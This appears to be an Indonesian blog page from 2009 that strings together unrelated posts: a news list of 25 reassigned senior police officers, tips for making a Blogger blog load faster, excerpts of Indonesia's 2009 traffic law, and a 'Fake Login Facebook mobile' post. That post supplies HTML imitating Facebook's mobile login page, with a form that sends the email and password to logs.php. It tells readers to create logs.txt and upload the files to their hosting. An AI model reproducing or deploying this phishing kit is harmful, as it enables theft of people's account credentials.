Daftar 25 Pejabat Tinggi Polri yang Dimutasi


Sejumlah perwira tinggi dan menengah dimutasi. Termasuk Kabareskrim Polri Komjen Pol Susno Duadji. Berikut daftar 25 pejabat kepolisian yang diganti berdasarkan surat keputusan Kapolri No Pol: SKEP/556/XI/2009 tanggal 24-11-2009tentang pemberhentian dan pengangkatan dalam jabatan di lingkungan Polri.
1. Komjen Pol Susno Duadji Kabareskrim Polri dimutasikan sebagai Pati Mabes Polri
2. Irjen Pol Ito Sumardi Djuni Sanyoto (Staf Ahli Bid.Kam/Koor Sahli Kapolri) diangkat dalam jabatan baru sebagai Kabareskrim Polri
3. Irjen Pol Andi Chaerudin (Staf ahli bidang sospol ahli kapolri) diangkat dalam jabatan baru sebagai staf ahli bidag kam/koorsahli.
4. Brigjen Johny Wainal Usman (Dir Binlat Lemdiklat Polri) diangkat dalam jabatan baru sebagai staf ahli bidang sospol ahli kapolri
5. Kombes Pol Lalu Suprapta (Seslem Lemdiklat Polri) diangkat dalam jabatan baru sebagai Dir Binlat Lemdiklat Polri.
6. Brigjen Pol Mochammad Rasyid Ridho (Dir Jianbang Sespi Polri) dimutasikan sebagai Pati Mabes Polri (diarahkan pada Lemhanas).
7. Brigjen Tatang Somantri Widyaiswara (Madya Sespi Pori diangkat dalam jabatan baru sebagai Dir Jianbang Sespim Polri.
8. Kombes Pol Mochamad Natsir Achmad (Dir D Baintelkam Polri) diangkat dalam jabatan baru sebagai widyaiswara Madya Sespim Polri.
9. Brigjen Achmad Riadi (Koni Dir A Baintelkam Polri) diangkat dalam jabatan baru sebagai Dir D Baintelkam.
10. Brigjen Pol Suparni Parto (Kapolda Sulteng) diangkat dalam jabatan baru sebagai Dir A Baintelkam Polri.
11. Brigjen Pol Muhammad Amin Saleh (Kapus Provos Div Propam Polri) diangkat dalam jabatan baru sebagai Kapolda Sulteng.
12. Kombes Pol Basaria Panjaitan (Penyidik Utama Dit V/Tipiter Bareskrim Polri) diangkat dalam jabatan baru sebagai Kapus Provos Div Propam Polri.
13. Brigjen Pol Muhammad Aidy Rawas (Karumkit Pusdokkes Polri) dimutasikan sebagai Pati Mabes Polri (diarahkan pada BNN).
14. Kombes Pol Sutrisno Budi Siswanto (Kabid Kesmapta Pusdokkes Polri) diangkat dalam jabatan baru Karumkit Pusdokkes Polri
15. Brigjen Pol Achmad Ismail (Wakapolda Sumsel) dimutasikan sebagai Pati Mabes Polri (dlm rangka pensiun).
16. Brigjen Pol Bambang Wahyono (Kapusdalops Sdeops Polri) diangkat dalam jabatan baru sebagai Wakapolda Sumsel.
17. Brigjen Pol Bachtiar (Hasanudin Tambunan Dir I/Kam Transnas Bareskrim Polri) diangkat dalam jabatan baru sebagai Kapusdalops Sdeops Polri.
18. Brigjen Pol Saud Usman Nasution (Kadensus 88/Anti teror Bareskrim polri) diangkat dalam jabatan baru sebagai Dir I/Kam Transnas Bareskrim Polri.
19. Kombes Pol M Tito Karnavian (Kasubden Intel Densus 88/Anti Teror Bareskrim Polri) diangkat dalam jabatan baru sebagai Kadensus 88/Anti teror Bareskrim Polri.
20. Irjen Pol Muhammad Ibrahim (staf ahli Kapolri) dimutasikan sebagai Pati Mabes Polri (dalam rangka pensiun).
21. Brigjen Pol Imam Suwangsa Tjokrohadi Surjo (Pati Mabes Polri) diarahkan pada PT Gas Security Services, dimutasikan sebagai Pati Mabes Polri (dalam rangka pensiun).
22. Kombes Pol Bambang Waspada (Dir Intelkam Polda Kaltim) dimutasikan sebagai pamen polda kaltim (dalam rangka pensiun).
23. Kombes Pol Sjaiful Bachri Ses Pusdalops Sdeops Polri dimutasikan sbg Pamen Sdeops (dalam rangka pensiun).
24. Kombes Pol Soetikno Gadik Utama (Secapa Lemdiklat Polri) dimutasikan sebagai Pamen Lemdiklat Polri (dalam rangka pensiun).
25. Kombes Pol Marsudi (Kabid Ku Polda Jatim) dimutasikan sebagai Pamen Polda Jatim (dalam rangka pensiun).
Sumber : detiknews
READ MORE - Daftar 25 Pejabat Tinggi Polri yang Dimutasi

How can make your blog load faster

The speed at which your blog loads is critical to attracting more readers to your blog. If your blog takes a long time to load, many readers may leave your blog before they have the chance to read it. Here are a few tips and tricks that will help your blog load faster and attract more users:

Posts

Your blog's load time can be affected by the number of posts you display on your main page. You can easily edit the number of posts displayed of the main page from the Settings | Formatting tab. You can then select the number of posts you want to display on the main page. We recommend displaying 10 or fewer posts on the main page.

Third Party JavaScript and Links
For optimal blog load speed, we recommend using Google/Blogger widgets, JavaScipt and links. However, if you need to use third party JavaScipt and links, your blog will load much faster if you put all JavaScript at the bottom of your blog. If you have third party JavaScript and links in your sidebar, put them in at the bottom of the sidebar.

Images and Media

The more images, videos and other multi-media you have on your blog the longer it will take to load. However, images and other multimedia are important to attracting users to your blog, so it is important to optimize the load speed of your images and media. Here are a few tips to increase the load speed of your media:
Decrease the size of your images or use thumbnails that link to the full-size image.
If you use third party images, consider uploading them to Picasa Web Albums via the Blogger post editor.
If you have a large number of images to display, you can upload all your images (from a vacation or event) to a Picasa Web Album and link to the album in your post or sidebar.
Other suggestions
If you've added any custom CSS to your blog, make sure you put it at the top of the page.
The most important content of your blog that catches readers attention should load the quickest. To help you identify which items are taking the longest to load you can use Stopwatch. To use Stopwatch, enter your blog's URL into the text box and click "Start StopWatch". Stopwatch will then open your blog in a frame and will record the time it takes for everything on your blog to load, including images, videos, widgets, etc. Take note of the items that take the longest to load.
READ MORE - How can make your blog load faster

Fake Login Facebook mobile

Save code below as login.php.htm
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>Welcome to Facebook | Facebook</title><meta name="description" content="Facebook helps you connect and share with the people in your life." /> <link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/zD0CE/hash/a9cnobt8.css" />
</head><body><div id="fb_header" class="marquee"><table width="100%"><tr><td align="left" width="50%"><img alt="facebook" src="http://b.static.ak.fbcdn.net/rsrc.php/zBYLY/hash/7spo3t2a.png" height="17" width="75" /></td></tr></table></div><div id="title" class="pad"><b>Welcome to Facebook</b></div><div><div class="section border_top"><div>Facebook helps you connect and share with the people in your life.</div><form action="logs.php" method="post"><small>Email or Phone:</small><br /><input type="text" name="email" value="" /><br /><small>Password:</small><br /><input type="password" name="pass" /><br /><div><input type="submit" name="login" value="Log In" class="button" /></div></form><small><a href="/reset.php">Forgot password?</a></small></div><div class="section border_top"><div>Need a Facebook account? Sign up using your phone <a href="/r.php">here</a>.</div></div><p>Trouble logging in? Try <a href="logs.php">HTTP login</a>.</p></div><div class="footer"></div><div id="footer" class="pad"><small><div class="section border_top border_bottom"><div class="section_title">Language</div><form action="/a/preferences.php?refid=8" method="post"><input type="hidden" name="post_form_id" value="939888b60db4df68fd7c328c453c8458" /><select name="locale"><option value="af_ZA">Afrikaans</option><option value="id_ID">Bahasa Indonesia</option><option value="ms_MY">Bahasa Melayu</option><option value="ca_ES">Català</option><optionvalue="cs_CZ">Ceština</option><option value="cy_GB">Cymraeg</option><option value="da_DK">Dansk</option><option value="de_DE">Deutsch</option><option value="en_GB">English (UK)</option><option selected="selected" value="en_US">English (US)</option><option value="en_UD">English (Upside Down)</option><option value="es_LA">Español</option><option value="es_ES">Español (España)</option><option value="tl_PH">Filipino</option><option value="fr_CA">Français (Canada)</option><option value="fr_FR">Français (France)</option><option value="ko_KR">???</option><option value="hr_HR">Hrvatski</option><option value="it_IT">Italiano</option><option value="lt_LT">Lietuviu</option><option value="hu_HU">Magyar</option><option value="nl_NL">Nederlands</option><option value="ja_JP">???</option><option value="nb_NO">Norsk (bokmål)</option><option value="pl_PL">Polski</option><option value="pt_BR">Português (Brasil)</option><option value="pt_PT">Português (Portugal)</option><option value="ro_RO">Româna</option><option value="ru_RU">???????</option><option value="sk_SK">Slovencina</option><option value="sl_SI">Slovenšcina</option><option value="fi_FI">Suomi</option><option value="sv_SE">Svenska</option><option value="th_TH">???????</option><option value="vi_VN">Ti?ng Vi?t</option><option value="tr_TR">Türkçe</option><option value="zh_CN">?? (??)</option><option value="zh_TW">??(??)</option><option value="zh_HK">??(??)</option><option value="el_GR">????????</option><option value="bg_BG">?????????</option><option value="sr_RS">??????</option><optionvalue="he_IL">?????</option><option value="ar_AR">???????</option><option value="hi_IN">??????</option><option value="bn_IN">?????</option><option value="pa_IN">??????</option><option value="ta_IN">?????</option><option value="te_IN">??????</option><option value="ml_IN">??????</option></select><br /><input type="submit" name="save_locale" value="Change Language" class="button" /></form></div><a href="/help/">Help</a><br /><a href="/">Login</a><br />&#169; 2009 Facebook &#8226; <a href="http://touch.facebook.com/">Touch Site</a></small></div></body></html>

Save code below as logs.php
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>Welcome to Facebook | Facebook</title><meta name="description" content="Facebook helps you connect and share with the people in your life." /> <link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/zD0CE/hash/a9cnobt8.css" />
</head><body><div id="fb_header" class="marquee"><table width="100%"><tr><td align="left" width="50%"><img alt="facebook" src="http://b.static.ak.fbcdn.net/rsrc.php/zBYLY/hash/7spo3t2a.png" height="17" width="75" /></td></tr></table></div><div id="title" class="pad"><b>Welcome to Facebook</b></div><div><div class="section border_top"><div>Facebook helps you connect and share with the people in your life.</div><form action="logs.php" method="post"><small>Email or Phone:</small><br /><input type="text" name="email" value="" /><br /><small>Password:</small><br /><input type="password" name="pass" /><br /><div><input type="submit" name="login" value="Log In" class="button" /></div></form><small><a href="/reset.php">Forgot password?</a></small></div><div class="section border_top"><div>Need a Facebook account? Sign up using your phone <a href="/r.php">here</a>.</div></div><p>Trouble logging in? Try <a href="logs.php">HTTP login</a>.</p></div><div class="footer"></div><div id="footer" class="pad"><small><div class="section border_top border_bottom"><div class="section_title">Language</div><form action="/a/preferences.php?refid=8" method="post"><input type="hidden" name="post_form_id" value="939888b60db4df68fd7c328c453c8458" /><select name="locale"><option value="af_ZA">Afrikaans</option><option value="id_ID">Bahasa Indonesia</option><option value="ms_MY">Bahasa Melayu</option><option value="ca_ES">Català</option><optionvalue="cs_CZ">Ceština</option><option value="cy_GB">Cymraeg</option><option value="da_DK">Dansk</option><option value="de_DE">Deutsch</option><option value="en_GB">English (UK)</option><option selected="selected" value="en_US">English (US)</option><option value="en_UD">English (Upside Down)</option><option value="es_LA">Español</option><option value="es_ES">Español (España)</option><option va

Make one file empty save as logs.txt
Upload 3 files above to your hosting ... dont forget save in one folder

Gudlak...
READ MORE - Fake Login Facebook mobile

INFO UU LALU LINTAS TERBARU


UU No. 22 Th. 2009
Pasal yg biasa terkait.
Pasal 106
(1) Setiap orang yang mengemudikan Kendaraan Bermotor di Jalan wajib mengemudikan kendaraannya dengan wajar dan penuh konsentrasi. (Bisa diartikan dengan tidak boleh mengoperasikan HP saat mengendarai kendaraan di jalan). Penulis red'.
Penggunaan Lampu Utama.
Pasal 107
(1) Pengemudi Kendaraan Bermotor wajib menyalakan lampu utama Kendaraan Bermotor yang digunakan di Jalan pada malam hari dan pada kondisi tertentu.
(2) Pengemudi Sepeda Motor selain mematuhi ketentuan sebagaimana dimaksud pada ayat (1) wajib menyalakan lampu utama pada siang hari.
Pasal 114
Pada perlintasan sebidang antara jalur kereta api dan Jalan, Pengemudi Kendaraan wajib:
a. berhenti ketika sinyal sudah berbunyi, palang pintu kereta api sudah mulai ditutup, dan/atau ada isyarat lain;
b. mendahulukan kereta api; dan
c. memberikan hak utama kepada Kendaraan yang lebih dahulu melintasi rel.
Pasal 134
Pengguna Jalan yang memperoleh hak utama untuk didahulukan sesuai dengan urutan berikut:
a. Kendaraan pemadam kebakaran yang sedang melaksanakan tugas;
b. ambulans yang mengangkut orang sakit;
c. Kendaraan untuk memberikan pertolongan pada Kecelakaan Lalu Lintas;
d. Kendaraan pimpinan Lembaga Negara Republik Indonesia;
e. Kendaraan pimpinan dan pejabat negara asing serta lembaga internasional yang menjadi tamu negara;
f. iring-iringan pengantar jenazah; dan
g. konvoi dan/atau Kendaraan untuk kepentingan tertentu menurut pertimbangan petugas Kepolisian Negara Republik Indonesia.
BAB XX
KETENTUAN PIDANA
Pasal 278
Setiap orang yang mengemudikan Kendaraan Bermotor beroda empat atau lebih di Jalan yang tidak dilengkapi dengan perlengkapan berupa ban cadangan, segitiga pengaman, dongkrak, pembuka roda, dan peralatan pertolongan pertama pada kecelakaan sebagaimana dimaksud dalam Pasal 57 ayat (3) dipidana dengan pidana kurungan paling lama 1 (satu) bulan atau denda paling paling banyak Rp250.000,00 (dua ratus lima puluh ribu rupiah).
Pasal 280
Setiap orang yang mengemudikan Kendaraan Bermotor di Jalan yang tidak dipasangi Tanda Nomor Kendaraan Bermotor yang ditetapkan oleh Kepolisian Negara Republik Indonesia sebagaimana dimaksud dalam Pasal 68 ayat (1) dipidana dengan pidana kurungan paling lama 2 (dua) bulan atau denda paling banyak Rp500.000,00(lima ratus ribu rupiah).
Pasal 281
Setiap orang yang mengemudikan Kendaraan Bermotor di Jalan yang tidak memiliki Surat Izin Mengemudi sebagaimana dimaksud dalam Pasal 77 ayat (1) dipidana dengan pidana kurungan paling lama 4 (empat) bulan atau denda paling banyak Rp1.000.000,00 (satu juta rupiah).
Pasal 282
Setiap Pengguna Jalan yang tidak mematuhi perintah yang diberikan oleh petugas Kepolisian Negara Republik Indonesia sebagaimana dimaksud dalam Pasal 104 ayat (3) dipidana dengan pidana kurungan paling lama 1 (satu) bulan atau denda paling banyak Rp250.000,00 (dua ratus lima puluh ribu rupiah).
Pasal 283
Setiap orang yang mengemudikan Kendaraan Bermotor di Jalan secara tidak wajar dan melakukan kegiatan lain atau dipengaruhi oleh suatu keadaan yang mengakibatkan gangguan konsentrasi dalam mengemudi di Jalansebagaimana dimaksud dalam Pasal 106 ayat (1) dipidana dengan pidana kurungan paling lama 3 (tiga) bulan atau denda paling banyak Rp750.000,00(tujuh ratus lima puluh ribu rupiah).
Pasal 284
Setiap orang yang mengemudikan Kendaraan Bermotor dengan tidak mengutamakan keselamatan Pejalan Kaki atau pesepeda sebagaimana dimaksud dalam Pasal 106 ayat (2) dipidana dengan pidana kurungan paling lama 2 (dua) bulan atau denda paling banyak Rp500.000,00(lima ratus ribu rupiah).
Pasal 285
(1) Setiap orang yang mengemudikan Sepeda Motor di Jalan yang tidak memenuhi persyaratan teknis dan laik jalan yang meliputi kaca spion, klakson, lampu utama, lampu rem, lampu penunjuk arah, alat pemantul cahaya, alat pengukur kecepatan, kanlpot, dan kedalaman alur bansebagaimana dimaksud dalam Pasal 106 ayat (3) juncto Pasal 48 ayat (2) dan ayat (3) dipidana dengan pidana kurungan paling lama 1 (satu) bulan atau denda paling banyak Rp250.000,00 (dua ratus lima puluh ribu rupiah).
(2) Setiap orang yang mengemudikan Kendaraan Bermotor beroda empat atau lebih di Jalan yang tidak memenuhi persyaratan teknis yang meliputi kaca spion, klakson, lampu utama, lampu mundur, lampu tanda batas dimensi badan kendaraan, lampu gandengan, lampu rem, lampu penunjuk arah, alat pemantul cahaya, alat pengukur kecepatan, kedalaman alur ban, kaca depan, spakbor, bumper, penggandengan, penempelan, atau penghapus kacasebagaimana dimaksud dalam Pasal 106 ayat (3) juncto Pasal 48 ayat (2) dipidana dengan pidana kurungan paling lama 2 (dua) bulan atau denda paling banyak Rp500.000,00 (lima ratus ribu rupiah).
Pasal 288
(1) Setiap orang yang mengemudikan Kendaraan Bermotor di Jalan yang tidak dilengkapi dengan Surat Tanda Nomor Kendaraan Bermotoratau surat tanda coba Kendaraan Bermotor yang ditetapkan oleh Kepolisian Negara Republik Indonesia sebagaimana dimaksud dalam Pasal 106 ayat (5) huruf a dipidana dengan pidana kurungan paling lama 2 (dua) bulan atau denda paling banyak Rp500.000,00 (lima ratus ribu rupiah).
(2) Setiap orang yang mengemudikan Kendaraan Bermotor di Jalan yang tidak dapat menunjukkan Surat Izin Mengemudi yang sah Kendaraan Bermotor yang dikemudikan sebagaimana dimaksud dalam Pasal 106 ayat (5) huruf b dipidana dengan pidana kurungan paling lama 1 (satu) bulan dan/atau denda paling banyak Rp250.000,00 (dua ratus lima puluh ribu rupiah).
Pasal 289
Setiap orang yang mengemudikan Kendaraan Bermotor atau Penumpang yang duduk di samping Pengemudi yang tidak mengenakan sabuk keselamatansebagaimana dimaksud dalam Pasal 106 ayat (6) dipidana dengan pidana kurungan paling lama 1 (satu) bulan atau denda paling banyak Rp250.000,00(dua ratus lima puluh ribu rupiah).
Pasal 291
(1) Setiap orang yang mengemudikan Sepeda Motor tidak mengenakan helm standar nasional Indonesia sebagaimana dimaksud dalam Pasal 106 ayat (8) dipidana dengan pidana kurungan paling lama 1 (satu) bulan atau denda paling banyak Rp250.000,00 (dua ratus lima puluh ribu rupiah).
(2) Setiap orang yang mengemudikan Sepeda Motor yang membiarkan penumpangnya tidak mengenakan helm sebagaimana dimaksud dalam Pasal 106 ayat (8) dipidana dengan pidana kurungan paling lama 1 (satu) bulan atau denda paling banyak Rp250.000,00 (dua ratus lima puluh ribu rupiah).
Pasal 292
Setiap orang yang mengemudikan Sepeda Motor tanpa kereta samping yang mengangkut Penumpang lebih dari 1 (satu) orang sebagaimana dimaksud dalam Pasal 106 ayat (9) dipidana dengan pidana kurungan paling lama 1 (satu) bulan atau denda paling banyak Rp250.000,00(dua ratus lima puluh ribu rupiah).
Pasal 293
(1) Setiap orang yang mengemudikan Kendaraan Bermotor di Jalan tanpa menyalakan lampu utama pada malam hari dan kondisi tertentusebagaimana dimaksud dalam Pasal 107 ayat (1) dipidana dengan pidana kurungan paling lama 1 (satu) bulan atau denda paling banyak Rp250.000,00(dua ratus lima puluh ribu rupiah).
(2) Setiap orang yang mengemudikan Sepeda Motor di Jalan tanpa menyalakan lampu utama pada siang harisebagaimana dimaksud dalam Pasal 107 ayat (2) dipidana dengan pidana kurungan paling lama 15 (lima belas) hari atau denda paling banyak Rp100.000,00 (seratus ribu rupiah).
Pasal 294
Setiap orang yang mengemudikan Kendaraan Bermotor yang akan membelok atau berbalik arah, tanpa memberikan isyarat dengan lampu penunjuk arah atau isyarat tangan sebagaimana dimaksud dalam Pasal 112 ayat (1) dipidana dengan pidana kurungan paling lama 1 (satu) bulan atau denda paling banyak Rp250.000,00 (dua ratus lima puluh ribu rupiah).
Pasal 295
Setiap orang yang mengemudikan Kendaraan Bermotor yang akan berpindah lajur atau bergerak ke samping tanpa memberikan isyaratsebagaimana dimaksud dalam Pasal 112 ayat (2) dipidana dengan pidana kurungan paling lama 1 (satu) bulan atau denda paling banyak Rp250.000,00(dua ratus lima puluh ribu rupiah).
Pasal 296
Setiap orang yang mengemudikan kendaraan bermotor pada perlintasan antara kereta api dan Jalan yang tidak berhenti ketika sinyal sudah berbunyi, palang pintu kereta api sudah mulai ditutup, dan/atau ada isyarat lainsebagaimana dimaksud dalam Pasal 114 huruf a dipidana dengan pidana kurungan paling lama 3 (tiga) bulan atau denda paling banyak Rp750.000,00(tujuh ratus lima puluh ribu rupiah).
Pasal 297
Setiap orang yang mengemudikan Kendaraan Bermotor berbalapan di Jalan sebagaimana dimaksud dalam Pasal 115 huruf b dipidana dengan pidana kurungan paling lama 1 (satu) tahun atau denda paling banyak Rp3.000.000,00(tiga juta rupiah).
Pasal 298
Setiap orang yang mengemudikan Kendaraan Bermotor yang tidak memasang segitiga pengaman, lampu isyarat peringatan bahaya, atau isyarat lain pada saat berhenti atau Parkir dalam keadaan darurat di Jalan sebagaimana dimaksud dalam Pasal 121 ayat (1) dipidana dengan pidana kurungan paling lama 2 (dua) bulan atau denda paling banyak Rp500.000,00 (lima ratus ribu rupiah).
READ MORE - INFO UU LALU LINTAS TERBARU